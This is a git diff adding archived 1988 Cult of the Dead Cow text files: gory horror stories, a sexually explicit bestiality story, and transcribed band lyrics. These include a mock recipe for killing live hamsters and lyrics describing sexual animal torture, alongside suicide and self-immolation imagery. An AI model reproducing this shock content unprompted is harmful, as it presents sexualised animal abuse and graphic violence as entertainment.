+M, is for money, you know what that cures. +This spells out freedom, it means nothing to me, +As long as there's a PMRC. + +Put your hand right up my shirt, +Pull the strings that make me work, +Jaws will part, words fall out, +Like a fish with hook in mouth. + +Rewrites every story, every poem that ever was +Eliminates incompetence, and those who break the laws +Follow the instructions of the New Ways' Evil Book of Rules. +Replacing rights with wrongs, the files and records in the schools. + +I'm not a fish +I'm a man +Hook in mouth! + + All lyrics (c)1987 by Mustaine Music/Theory Music/Elf Music (BMI) +_______________________________________________________________________________ + ...call these systems sometime, for all your file needs... + + Demon Roach Underground..[login:xxxxxx new:xxxx].........806/794-4362 + Tequila Willy's Great Subterranean Carnival...............209/526-3194 + The Metal AE..[entry:KILL]................................201/879-6668 + The Dead Zone.............................................214/522-5321 +=============================================================================== + (c)1988 cDc communications by Swamp Rat 7/3/88-60 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0061.txt b/textfiles.com/groups/CDC/cDc-0061.txt new file mode 100644 index 00000000..621624f4 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0061.txt @@ -0,0 +1,78 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + BOVINE DEATH + ~~~~~~~~~~~~ + by The Raver + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + ...Just when you thought you'd read all you could handle... + + John woke up. It was always a hard thing for him to do. Groggily he +pulled the covers back and sat up. He rubbed his puffy eyes and looked at the +clock. Squinting to read the time, the clock said 7:15. He dragged himself +out of the bed. He had a long, hard day ahead of him.... + + After breakfast he slipped into his denim coveralls and donned his +"CAT" hat. John was, by trade, a rancher. But he supplemented his meager +earnings by slaughtering his livestock so that he could sell the cold meat to +Winn Dixie. With a sigh, John headed out to kill some cows. + + When he got to the cattle pen he noticed an unusual thing. All of +the cows were crowded around one, exceptionally big cow. John stared in +amazement at the cow. She was, as I have said, quite a bit larger then the +other cows that thronged about her. John thought to himself that this fine +bovine specimen would bring him quite a bit of cash. So naturally, he +gathered up some of his hands and together they herded her into the slaughter- +house. While they did this they were continually plagued by the mooing of +the other cows. + + Finally when they had her in one of the slaughter pens, John dismissed +all of the hands so that they could attend to their other various and sundry +chores. John climbed up on the railings, dragging his trusty sledgehammer with +him. The head, covered with dried blood, was nicknamed "Cowbane" by John. He +then hopped over into the pen and petted the great cow to calm her. He then +hefted mighty "Cowbane". As the hammer rested high in the air, the cow mooed +very softly. The hammer came roaring downwards with a force that John knew +could not be shrugged off by any creature. The hammer impacted on the cow's +skull and splinters of bone shot forth in every direction. Blood spurted out +into the air in the dim light of the slaughterhouse. Gore and brain tissue +welled forth from the gaping cow. John nearly fell down when the cow turned +her head to him and mooed again. John stifled a yelp and brought the hammer of +death down again. More blood shot forth, covering him with a sticky crimson. +Again the cow mooed. John brought the hammer down again... and again.... + + The cow hit the ground with a heavy thud. By the time John was sure +that the cow was dead he let the hammer fall to his feet with a groan. He +wiped the gore off of his hands. As he shakily lit a Marlboro he heard a faint +mooing sound. He looked down at the cow. John staggered back, the lit +cigarette falling to the hay-covered floor. The cow twitched and began to lift +her great mass to her feet. It was a gruesome sight. The cow's head was +gaping with bloody holes and blood and tissue dripped from it. John screamed. +A single moo erupted from the cow's torn and bloody maw. John fell against the +railing, sweating profusely. From out in the cattle pen, John heard many moos +and the sound of shuffling hooves. The great cow mooed again and impaled John +in the stomach with part of her exposed spinal column. John screamed again. +Blood flowed. The cow gored John with vigorous intensity. The sound of mooing +filled the air. At last, the cow removed herself from John and he slid to the +floor. + + There was a slight crackling sound and a small column of smoke rose +forth from where John had earlier dropped his Marlboro. A patch of flame +appeared and danced in the dim light. The cow struck John in the face with one +of her front hooves. The sound of cracking bones accompanied the gurgling +sounds of flowing blood. The cow mooed. The flames roared forth. + +=============================================================================== + (c)1988 cDc communications by The Raver 3/27/88-61 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0062.txt b/textfiles.com/groups/CDC/cDc-0062.txt new file mode 100644 index 00000000..500858da --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0062.txt @@ -0,0 +1,75 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SCOTTY'S TALE OF SEX AND DEATH + + by Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Scotty was a guy just out of his teens. He never really was sexually +satisfied. The reason for this was Scotty was a very picky young man. If he +didn't like the way a girl straddled than he just didn't want her. Scotty was +always looking for something new to tingle his dingle. He finally realized +that animal sex was the answer to his problems. So, Scotty frolicked about the +animal kingdom, in search of a species strong enough to appease his sexual +appetite. He injected many animals with his long, flaming rod (of course +excluding the insect world). He eventually became bored with the animals he +sexed; he wanted an animal with real horsepower - a jackass, a mule, a +donkey... whatever. + + So, Scotty quested for his dream partner until finally, there it was, +standing tough and strong in a stable on someone's farm (whom he didn't know, +by the way). Scotty looked upon the jackass and thought to himself, "This is +gonna be good...I can feel it." The animal stood silently, not knowing of +Scotty's existence. Scotty said to the jackass, "Now you be good and you'll +get a nice lil' treat..." Little did Scotty know, he was in for a little treat +himself. So Scotty went on to his sexual calling. + + Scotty stood behind the mule, inspecting the anus which would soon be +his. It looked tight enough to handle his masculinity. Scotty was indeed +horny over this particular animal. He depantsed himself quickly and with an +excruciating thrust, the jackass was his. Scotty pushed, thrusted, jammed, and +rammed his manhood into his zoological partner. Scotty groaned and howled... +he was enjoying it too much. But unfortunately, I can't say the same for the +jackass. He tried to pull away but just could not escape from the power of +Scotty's arms. So with a quick HEE-HAW, the donkey leaned a bit forward, +raised his feet and booted the living hell out of Scotty. The two hooves made +a permanent impression in poor Scotty's chest. Scotty lay on the ground, +bleeding and panting (short of breath, y'know? Wouldn't you be if a jackass +you were fucking kicked the shit outta your chest?). Sad enough for him, the +animal wasn't finished. Scotty, with an attempt to sit up, was immediately +thrashed once again by the jackass's hooves, this time across the face. Blood +and phlegm poured from Scotty's nose and throat (he was a bit congested that +day). A nail protruding from the jackass's shoes also caught hold of sad +Scotty's eye, ripping it clean out of his skull. Veins and arteries dangled +from Scotty's eye sockets while he lay placidly on the floor of the stable. +The jackass watched Scotty for any movement which could possibly hint at a sign +of life. After a time, Scotty turned his head with a groan (bad move on his +part, eh?). At that moment, the jackass charged in life-threatening fury. He +gave one last kick to Scotty's body... straight to the groin. The hoof pene- +trated Scotty's scrotum, crushing his testicles. Blood and urine gushed from +Scotty's bladder. His penis, now severed, rested peacefully in a soft bed of +hay, barely recognizable as a bloody limp stump. Scotty found his death bed, +although it wasn't what he was hoping for. The body sat motionless and quite +dead in a pool of blood, urine, phlegm, sperm, and hay. The jackass looked on +with amazement and immediately ran to the adjacent stable. + + + Yes, there is a moral to this story.... Whether you like it or not... + + DON'T EVER SCREW WITH A JACKASS. + +=============================================================================== + (c)1988 cDc communications by Racer X 7/5/88-62 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0063.txt b/textfiles.com/groups/CDC/cDc-0063.txt new file mode 100644 index 00000000..b73a4493 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0063.txt @@ -0,0 +1,69 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + SESAME ST. POSSESSION + + by Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This story was written for a test in my senior (HS) English class. I +hope you like it. The teacher did.... + + + + John was twelve years old. It was summer vacation and John had been +enjoying his time, wallowing in boredom. What better to do than sit on the +living room floor and watch the local PBS station on the family TV? Ah, bliss. +After several hours of this, his eyes and mind began to glaze over as "Sesame +Street" eventually came on. Little did he know the program was to be his +ultimate downfall into a new world of bizarre occult nightmares.... + + After an extended period of watching fuzzy puppets with speech +impediments tell bad jokes to small, inarticulate minority children and +indigent senior citizens, a strange feeling came over John.... He began to +see visions in his head, visions he'd never seen before... visions of plump +puppets; impaling each other with forks, suffocating themselves with oven +mitts, and flying kites with large yellow birds. Then, the image of a dozen +red ladybugs hopping around in a circle, counting, burned itself into his +brain. John imagined himself to be a ladybug and began to circle around the +room on the plush carpet. "...ten eleven twelve... and they all gathered +'round... at the ladybugs' picnic!" The words screamed immutably from his lips along with bits of spittle in his excitement. John was changing... + + Bubbling, John rushed to the kitchen, and with a histrionic voice began +beating with his tender young fists on the garbage can underneath the sink. +"Oscar!" he yelled, "Oscar! The sun is the north! The time is now! Rise, +Oscar, rise!" Mad with rage, he then lurched for his bedroom, grabbing a large +knife from a counter-top rack on his way out. + + "Die! Die, you pagan bastard!" The words exploded with passion and +shook his once-peaceful room. John incessantly began to stab his Fred +Flintstone Bop Bag with the blade of gleaming stainless steel. "Die die die!" +... his screams continued to ejaculate from his furious mouth as the cheery +yellow inflatable toy became a sullen pile of deflated, insane hatred on the +floor. John grinned.... + + Impervious to rational thought, John was now a slave to Oscar the +Grouch. Climbing on the bed, John projectile-vomited his Oatsy-Toatsy- +Spiffy-Puff Cereal(tm) on the wall for good measure, which glistened upon the +glossy wallpaper as it flowed to the floor. Satisfaction would be his. +Laughing hysterically, he dashed to the garage where he rummaged among the bits +of miscellaneous trash until he found it... the gasoline container. Barely +able to control his shaking hands, John managed to uncap the container which he +raised high above his head and saturated his body with the flammable liquid. +John's laughter had become an inhuman shriek as he struck the match.... + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Demon Roach Underground......login:xxxxxx...new:xxxx.......806/794-4362 +=============================================================================== + (c)1988 cDc communications by Swamp Rat 7/5/88-63 + diff --git a/textfiles.com/groups/CDC/cDc-0064.txt b/textfiles.com/groups/CDC/cDc-0064.txt new file mode 100644 index 00000000..d11c70d3 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0064.txt @@ -0,0 +1,397 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + DEATH ANGEL + + Frolic through the park + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + +Death Angel is: Gus Pepa - Guitar Address: + Mark Osegueda - Vocals Death Angel + Rob Cavestany - Lead Guitar PO Box 170545 + Dennis Pepa - Bass San Francisco, CA 94117 + Andy Galeon - Drums + + All lyrics (c)1988 I.P.F.S. Rejected Youth/La Rana Music [BMI] +_______________________________________________________________________________ + + +--3rd Floor + (M. Osegueda) + +Trapped by iron bars +Solitary ripping at me inside +A victim of this crazy ward +Must get out of here +No one gets out of here + +Force fed medication +The more I take the sooner I'm free +Contributing to my mind's abduction +Can't they see it's tearing me +Can't they see it's killing me + +(chorus) +Welcome to the 3rd floor +It's a one way trip +Then they lock the door + +More than just a crazy nightmare +Doors opened up and swallowed me +Banished from existence +Why'd they ever throw away the key +Will I ever be set free + +(chorus) + + +--Road Mutants + (R. Cavestany) + +They didn't used to be this way +In the beginning +Not to put up a front +It's just the way they are + +Enter the human race +But no one's winning +You do what you can +This is what they believe + +(chorus) +Road mutants crushing all +They rise while others fall +Laughing in your faces + +They smell like death +So hold your breath +Their skin starts to peel +Sucking moisture off the surface +Causing wounds that won't heal + +In the night there is no light +The time is right to have fun +Perspiration is no question +When you're caught by the sun + +You feel their presence miles away +You feel them coming +Not too quick to arrive +That's their style +But when they finally hit the stage +There's nothing left to say +The real world goes away +Escape for awhile + +(chorus) +They smell like death +So hold your breath +It's time to get down +You can spot them from a distance +'Cause they're not from your town +The road mutants love to +Have a good time +When we're gone +You can't erase the scar on your mind + +(chorus) + + +--Why you do this + (M. Osegueda) + +I will never understand the way you are +Your mind's an evil tool, striving for more +Can't you see I can penetrate your lies + +I created you but yet you still defy +It doesn't matter how hard I try +A lesson in respect is what you need + +You thrive off the weak-minded ones +These poor helpless souls that you deceive + +Still come back to the security +Under my sleeve + +(chorus) +Don't beat around the bush +I know it's a task +I only have on question +Which I must ask + +Why you do this + +When I was sad and down +You suddenly came around +Like a guiding light +No need for me to fight +I told you everything +Brought me up again + +Oh how that all changed +Only you to blame +Manipulative days are through +So bye bye to you + +You've oppressed me since birth +Wanting your own little world +Brainwashing them to believe + +You're the ruler evil supreme +Mother earth is not your toy +Your evil world I will destroy + +You were deprived of your youth +You were deprived of joy +Lonely, depressed little boy + +(chorus) + + +--Bored + (R. Cavestany) + +Guilty of no crime +Not enough, yet too much time +I'm burning in this hell +Plans to buy and dreams to sell + +Sitting by myself +Living life and loving life +But something bothers me +What to do - I can't believe + +I'm bored + +Life it's not so fair +Nothing here and nothing there +I'm waiting constantly +It's not the way life's meant to be + +Boredom starts to set +I try so hard but it's all I get +Keep waiting all the time +I think I've reached +The end of the line + +I'm bored + + +--Confused + (R. Cavestany) + +Sometimes in the back of my mind +I feel like something struck me blind +Blind to the path +Leading out of the forest +Losing my grip +I slip into the darkness +Searching for a trace of serenity +I find myself dwelling +In my own self-pity +Either going up or coming down +Can I be the king +Or must I be the clown + +(chorus) +Let me tell you something about myself +I got problems only I can tell +Please listen to me I don't want to be +Confused anymore + +I'll start today just feeling fine +In reality my sanity is on the line +Why can't life flow nice and easy +It's hard when happiness +Is there to tease me + +Try to find fun for a brief escape +Someone save me before it's too late +Tell me not to listen +To the voices in my head +Balancing factors I could use instead + +(chorus) + +Who controls the matter +Of circumstance +Make my move and leave the +Rest up to chance +Take my hand I'll lead you to a faraway +Place my friend and there +Forever we can stay + + +--Guilty of Innocence + (R. Cavestany) + +No choice +I had to do it +Or else it was my ass on the floor +I had to even up the score +So I shot down the bloody whore + +Now I have to face my destiny +No hope for me in this biased society + +(chorus) +Sinner - I'm innocent +Repent - So sorry +Die - No, please + +Guilty of innocence +My only crime was being at the scene +All fingers point at me +Things aren't as they seem + +(chorus) + +Here I sit and wonder why +You constantly must classify +The way I think +The way I look +But I don't really give a damn +'Cause you don't mean a thing to me +And this is what I fail to see + +Now I have to go to jail +'Cause I can't afford the bail +Judge and jury, sure they were fair +Laughing as they cut my hair + +(chorus) + + +--Open Up + (R. Cavestany) + +I just can't believe what I'm seeing +It makes me sick inside +Condemned by the world around me +I'm not gonna run and hide +I'm gonna come alive +Ain't gonna take no jive +Open up your sewn-shut eyes +Your disapproving eyes + +When I'm walking down the street +People turn and stare at me +As if I couldn't feel their eyes +They're living in a world of fear and lies + +Best loosen up and take it in stride +The world don't need egotistical pride + +(chorus) +Open up your eyes +And see the light +Just do it + +Must you choose to shut your mind +I look deep but nothing do I find +You're so tough, hey, put it on a shelf +You've got to come out of yourself + +Knock knock knock, but no one's home +Excuse me please, but I'm sick of society +It's not me that you have to condone +'Cause you are you and I am me +And if we don't agree +Just let it be + +(chorus)x2 + + +--Shores of Sin + (R. Cavestany) + +The crack of dawn fill the empty sky +We turn our heads towards the east +Between the hills +Walk the paths of love +Towards the caverns of the beast + +A distant cry breaks the solitude +Of weary men who journey on +To see the sight horrifies us all +The magic wind blows and it's gone + +(chorus) +Searching for answers +Another clue on the list +Searching for answers +To questions that cease to exist + +Decipher the runes of earth +We travel forth to the lake of death +The guardian says that we must pay +The price is high for he demands a life +So it's he we must pay + +Beyond the gates +Forests of the darkness +Without the key you'll not get in +We weave the spell +Of time and dimension +Which plants us on +The shores of sin + +(chorus)x2 + + +--Mind Rape + (A. Galeon) + +Leader of a hippie cult +The devilish chief +Directs his wicked family +To kill psychotically +Dying in agony +As he observes patiently +A guiltless bloody murder +In vain enigmatically + +(chorus) +They truly believe +That he is Jesus Christ +As their bodies are raped +Of their minds + +Your minds are filled with his lies +And soon reality's deprived +From your life +No sense makes sense +In this world +He has your brainwashed mind +Under control + +In the caverns +You are led +Where memory and thoughts +Are dead +Your savior is all you need + +And off his love you feed +Dejected utterly +X'd from society +Killed for a so-called god +Pledge allegiance to your family + +(chorus)x2 + +=============================================================================== + (c)1988 cDc communications by Swamp Rat 7/11/88-64 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0065.txt b/textfiles.com/groups/CDC/cDc-0065.txt new file mode 100644 index 00000000..7a6645cc --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0065.txt @@ -0,0 +1,298 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + AGNOSTIC FRONT + + Liberty & Justice For... + + Compliments of Racer X + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Music & lyrics by AGNOSTIC FRONT except 'Crucified' by IRON CROSS + + Songs (c) 1987 Bomber Zee, Inc. except 'Crucified' (c) 1981 Iron Cross + +_______________________________________________________________________________ + + +LIBERTY & JUSTICE +----------------- + +Anger as sharp as the broken glass +Burning cars and tear gas +Every race riot--is the last one +A dying culture's final gasp + +Every decade--yet no one learns +And it's always their own homes they burn +Crushed by a quorum-driven-state machine +A nation's will, cannot be turned + +Memories lost in a nation's sleep +In the dreams of contented sheep +Can we ever hope to find solutions +When our country has sold the Constitution + +All too wrong to be right +The answer's there, we just lack the sight +Race wars fed by prejudice and fright +The love of a nation for its people + burned through the night + +Monochrome blood sport--we never tire +So many things feed the fires +To repeat History--a world conspires +So many years have fed the desires + + +CRUCIAL MOMENT +-------------- + +So many people will come and go +Past their time before they know +Swear they were there from the start +Never had it in their hearts + +Things you do--come back to you +Things you've said--echo on inside your head + +Figureheads come cheap these days +No one listens to what they say +In their faces I see the fear +A crucial moment drawing near + +You pay the price--take bad advice +What they said--echoes on in your head + + +STRENGTH +-------- + +Day after day +See a world grow cold and grey +Did you see it today +Youth that rage while their idols age +Need some new start +See ideals for what they really are + +What does it take? +Eyes for the blind +What does it take? +Strength of the mind + +That's what it has to be +To cast everything aside for me +It takes sacrifice +To find the heart and set it free +You better find the drive +While you're young and still alive +No one hands you the truth +No one can say what's right for you + +Don't wait for the call +Strength above all + +Don't just wait in vain +For everything to change +Don't wait for the call +Strength above all + + +GENESIS +------- + +The birth of man was the birth of Hell + +The wrathful flames dance around my head +Falling figures, burning dead +A well once filled with flowing water +Now an endless tunnel of hate and squalor + +Covered, once, with locks of hair +All burned off, to leave me bare + +A hand that once reached out to feel +Now gropes about for something real +I try to hold onto what I've found +But the heat of the touch melts all to the ground + +Pulling back, Inside my head +I watch for hours, the listless dead + +From my hear flows the tears +Giving no life to that which is seared +I wait for the day when only ashes appear +Nothing gained--and no more fear + +And once again I will be pure + + +ANTHEM +------ + +Changes that were hardly noticed +Until time itself became a chain +Once hot blood began to cool +My ever slowing heart--beat in vain + +From the nightmare I wake in another dream +And stare at an unbroken sky +Try to distill a cure for the plague +That's put to rest everything--I once felt inside + +To never again be bound by United Blood +A sense of purpose lost forever more +Is this the way I'll die? No! +I'll find the sense of honor--that I held once before + +The Blood--The Honor--The Truth +Thought it would never end +The Blood--The Honor--The Truth +Can be part of our lives again + + +ANOTHER SIDE +------------ + +Awash on the tides of city rain +I flow through the streets and into the drains +Numbed by the gaze of uncaring faces +Try to offer my truth--but they drift away +Until the streets and myself have no name +No longer human--no longer the same +Lost all hope--lose all dreams--No more pain + +Awake--I choke on human steam +And the stench of animal fear +Tonight I'm going to light a match +And let the sewer burn--until my soul is clear + +Each night a thousand hearts are wasted +On those who don't care if they live or die +Each day I wade through vacant stares and wonder +Are they looking for the same things as I + +I see the people turn away +And still hear every word they say +Hope someday I'll have the nerve +To put a bullet through my brain +And not a needle in my vein + + +HAPPENED YESTERDAY +------------------ + +You--You raised your fist +You were some real Anarchist +Made a lot of promises to your friends +You'd never let it end + +Now--You just sit and stare like old men +Now--You talk about how it was then + +Now it's a few years later +Your scene isn't looking so good +Everything you had, the lives you led +Dead or misunderstood +So--You'll rise from the dead +You'll show everyone +But you're running, running scared +From ghosts of the past +You can't run too fast + +No--You'll never get back what you had +No--Well...that's just too bad + +Gone--Where did it go, it happened yesterday +No--Where did it go, it happened yesterday + + +LOST +---- + +Yahweh promised a conquered land, +Domination over life--man against man +Mother Earth came to conflict with patriarchal powers +And eyes lit up with hierarchy fed desires +The spirit within--quickly became lost +In search of glory and power the rules of war were taught + +The dogs, run wild, parting souls from lives +Bombs fragment, the Earth, leaving wounds in her side + +The roots of perversion--so deeply planted +Man has become evil--peace and freedom tainted +Leaders ask their people to dig their graves deeper +No spirit of their own--they took heed of their keepers + +Man finds himself trapped in aggression +He knows no other life but that of oppression + + +HYPOCRISY +--------- + +So you hate your Mom, you hate your Dad +You hate "The State" because it's bad +But look at you, how do you rate? +You're just as bad as those you hate + +You're telling me--you keep telling lies +But deep down inside--You're not true to your mind + +All fucked up, king of the show +Flail at your friends, you don't know +Fight before and afterward +But it don't do you any good + +So live your life in ignorance +Close your mind, your defiant stance +Isolate and isolate +Until you're gone and it's too late +To wake up and live +You're just a victim of your fate + + +CRUCIFIED +--------- + +They ask why do we dress this way +Live for now--Don't understand today +See the kids--But don't hear what they say +Close your eyes and look the other way +Say the end justifies the means +Gonna lock us up and throw away the keys + +Crucified--Crucified for your sins +Crucified--Crucified for your sins + +They don't know our feelings--only desperate cries +They see reflections through distorted eyes +We don't care because it breaks their views +Got to learn to fight to live +Before they grind us under heel + +We're the targets so easy to find +And we're the ones that won't stay in line +I find myself nailed to a cross +For something that I didn't do +It's your fault you've ruined our lives +And we're the ones you crucify +You're the ones who commit the crimes +But it's always us who do the time + + +=============================================================================== + (c)1988 cDc communications by Racer X 8/1/88-65 + All Rights Worth Not Very Much At All, And Regrettably So + diff --git a/textfiles.com/groups/CDC/cDc-0066.txt b/textfiles.com/groups/CDC/cDc-0066.txt new file mode 100644 index 00000000..c3b805e0 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0066.txt @@ -0,0 +1,430 @@ + +_______________________________________________________________________________ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + DAYGLO ABORTIONS + + here today, guano tomorrow + + Compliments of Swamp Rat + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +HAMSTER IN CREAM SAUCE FLAMBE TO CONTACT + YOUR FAVORITE DAYGLO... +Ingredients: SEND STUFF TO: + +4 large hamsters (live) Hamster Hotel +3 tablespoons unsalted butter PO Box 670, Station A +1/4 cup finely chopped onion Toronto, Canada +1 cup sliced mushrooms M5W 1G2 +1/4 gran marnier (heated) +1/4 cup heavy or whipping cream +Salt, freshly ground black pepper, nutmeg + +Asphyxiate and fillet hamsters, place 2 tablespoons butter in preheated frypan, +add onions and saute for 10 minutes. +Add mushrooms and continue cooking for 10-15 minutes or until onions are +softened and yellow, remove onion and mushroom mixture from pan and reserve. +Melt remaining butter in pan, add hamster fillets and saute quickly over medium +heat 4-5 minutes per side, add brandy, turn heat to high and ignite. +Continue cooking until brandy is down to half its original volume, reduce heat +to low, add cream and onion mixture and heat thoroughly, season with salt, +pepper and nutmeg to taste. +Place fillets, 2 per serving, on pre-heated plates, pour sauce over top, +garnish as desired. +ENJOY! +_______________________________________________________________________________ + + +--FUCK MY SHIT STINKS + M. Acton + +Sittin' on the pot on Tuesday mornin' +Readin' 'bout the war in Lebanon +A car bomb killed 3 Yankees in Rome +But I got a bigger problem and it's closer to home + +CHORUS +Oh fuck my shit stinks +Holy fuck'n moly my shit stinks +Argh fuck Billy my shit stinks +Ohhhhh + +Maybe there's something wrong with my diet +I had a case of beer and a couple of tacos +You know I feel like Johnny Cash +Going down in that ring of burning fire + +chorus + +Well all my friends like heavy metal +But I've always been partial to polkas +While they're all playin' their air guitars +I'm farting along with the booming tubas + +chorus + + +--FUCK SATAN TO DEATH + N. Burnes + +Jesus is my savior +And Satan must die + +This is the end +Ready for death +Reaper is near +Pity the damned +Lucifer's lust +Has got out of hand +Let's fuck him up by fucking his ass + +Tear out his tail +Pull out his horns +Send the fucker where he belongs +Send the mother back to his hole +Let's take him out and slip him the pole + +It's easier said than easier done +The battle's over and we have won +Snuff out his life and have the last laugh +'Cause we've got jesus here in the band + + +--DRAGONS + M. Acton + +You created your character +But your destiny is ruled by the die of six +You're standing at the edge of churning black water +A tributary of the river Styxx + +I am the master of this world +I could have the earth devour you where you stand +You exist for my pleasure +You'll soon wish you never stepped into my +Dungeon + +Clutching hands grab at your legs +They pull you down underground +You draw your sword, recoil in horror +The serpent's venom takes its toll + +I am the master of this world +I'll have my fun with you one by one +Your lives are coming to an end +You'll soon wish you never stepped into my +Dungeon + +You're the last alive and you've lost your never +You turn and run you might survive +You need a way to leave this plain +You'll lose your soul if you remain +You see a door no time to lose +Kick it down and run right through +You step into a glowing cavern +Suddenly you hear a voice + +I am the master of this world +You're all fools if you think you can escape +You're in this 'till the end +Look around see what you have to fight +Dragons + + +--HIDE THE HAMSTER + M. Acton + +Well Billy is a boy who has a few ideas of his own +He has a Habitrail maze with 35 hamsters in his home + +He takes them to the disco +Where everybody loves him + +They cover them with Neet and wash them down +So they are nice and clean +Then yank their teeth and pull their claws +And dip the little rodents in Vaseline + +They all have Habitrail tubes +Stuck firmly up their asses + +CHORUS +And they all sing +oho oho hide the hamster + +They dance around on the dance floor +From each shaking ass hangs a twitching little tail +The hamsters last abut five minutes +And their death throes bring the dancers + +They shoot their wads together +Dead hamsters up their asses + +Each hamster has an orgasm +At the very instant of its death +So each person grabs a straw +To feltch their partner's asshole of the sperm + +They al have Habitrail tubes +Stuck firmly up their asses + + +--THE SPAWN OF YOG SOTHOTH + M. Acton/S. Henderson + +THE BEAST +He exists +THE BEAST +On the astral plane +THE BEAST +He has the ability +To enter our universe + +THE BEAST +Psionic attack +THE BEAST +Chaotic evil +THE BEAST +Highly intelligent +And unpredictable + +THE BEAST +Gaping cunts +THE BEAST +Pulsing peni +THE BEAST +In this shape he'll mate +With mankind to create his spawn + +THE SPAWN +They will breed +THE SPAWN +With human beings +THE SPAWN +They will turn the world +Into man's worst nightmare + +THE BEAST +He will rule +THE BEAST +o're his spawn +THE BEAST +They will be his servants +In a burning world of doom + +THE BEAST +400 Hit points +THE BEAST +Strength 25 +THE BEAST +Charisma -7 +If you meet his eye you'll die + +THE BEAST +Multiple attack +THE BEAST +Monk Bard nill +THE BEAST +Giant mass of legs +Feelers and stalked organs + + +--SHRED CENTRAL + T. Hagen/M. Acton/N. Burnes + +Don't need this crap +This TV's pushing +I'm just gonna get my skate] +And hit the streets +I know a place +Not far from here +Where I can ride a gnarly bowl +And get some air + +Ain't gonna be like my parents +Rottin' away in easychairs +Ain't got no time for sunday football +Or watching cartoons after school + +Where you gonna go - SHRED CENTRAL +Whatcha gonna do - GRINDERS +Whatcha gonna say - "Like, where's the bowl, dude?" +Where you gonna go - SHRED CENTRAL +Whatcha gonna do - OLLIES +Whatcha gonna say - "Bitchin' Hawk, Jak" + +Do a heavy slam +Knees gushing blood +But I'll just et back on my skate +And carve the tiles +I'll try an invert +With a rippin' handplant +But I might have to send away +For a new pair of surfpants + + "Hey you kid..city police skateboard squad + 35 dollar fine, skating in public... you're busted! + + "Screw you, mister!" + +(repeat first verse) + +Where you gonna go - SHRED CENTRAL +Whatcha gonna do - FACE PlANT +Whatcha gonna say - "Nice Lipstand, Cowboy" +Where you gonna go - SHRED CENTRAL +Whatcha gonna do - ROCK 'N ROLL SLIDER +Whatcha gonna say - "Bitchin' Hawk, Jak" + + "Later, skater" + + +--DRUGGED AND DRIVING + M. Acton/S. Henderson + + +It was a quarter to twelve and we were rocking +I put my money on the bar, I heard the devil knocking +We played some drinking games while the band was thrashing +And a fight broke out so we gave the place a trashing +When the cops showed up I had to eat all my drugs +A couple of the guys got the kiss their billy clubs +The rest of us got out through the basement door +I ran to the back and I dove into my car + +CHORUS +We were drugged +Drugged and driving + +We got away clean but I was feeling kind of strange +I just ate 25 speeders and I could feel the adrenaline +Pumping through my veins like a burning fire +Straight to my brain and then to tires +Of the car I was driving at sixty miles an hour +I stepped on the gas and went with the power +Screaming like an angel of the devil +My friends are in the back +And we're headed straight for hell + +CHORUS + +When you're on our roads +You better keep on your toes +'Cause we're gonna get you into our sights +We're gonna track you down +'Cause we're the demons of the underground +Caverns of Lucifer +And when we get you under our hooves +We'll trample you into the dirt +and tear your soul from your broken carcass +And deliver it unto our lord + +1st verse/chorus + + +--HERE TODAY, GUANO TOMORROW + M. Acton + +Bill and Tammy Bakker were messengers of God +And the Bank of America +Tammy sprays on some makeup, pops some downers +And says this must be Heaven +Jim is in the bedroom converting hookers +On a mattress full of money +Meanwhile another 1000 people make their beds +With death and misery and starvation + +CHORUS +They were here +Here for today +But they'll be Guano +Guano tomorrow + +Now it's Reverend Fallwell's church +And he has the need for a little more money +it will cost a lot to eliminate rock +And stamp out the international threat of Communism +Mister Reagan and Gorbachev +Will let us fight light animals in a barnyard +While they play the roles of the farmer +The butches, the distributor, and the consumer + +CHORUS + +The world is full of humanitarians +Killing each other for a piece of the human pie +Where everybody is right and nobody is wrong +And many are downtrodden +These people call me a cretin +'Cause I get a little spittle in their eye +And they don't care much for us Dayglos +Sittin' around and toasting to the end of time + +We are here +here for today +But we'll be Guano +Guano tomorrow + + +--Kill Johnny Stiff + +We got gigs over here +We got gigs over there +We got gigs everywhere +We ain't playin' nowhere + +Kill Johnny Stiff +Do it now +Kick him in the head +Stamp him in the ground +Kill Johnny Stiff +Wreck his life +Cut his balls off +And feed them to pitbulls + +Don't like this green pants +Don't like his paisley shirt +Don't like ripoff shithead promoters +We got a message for you 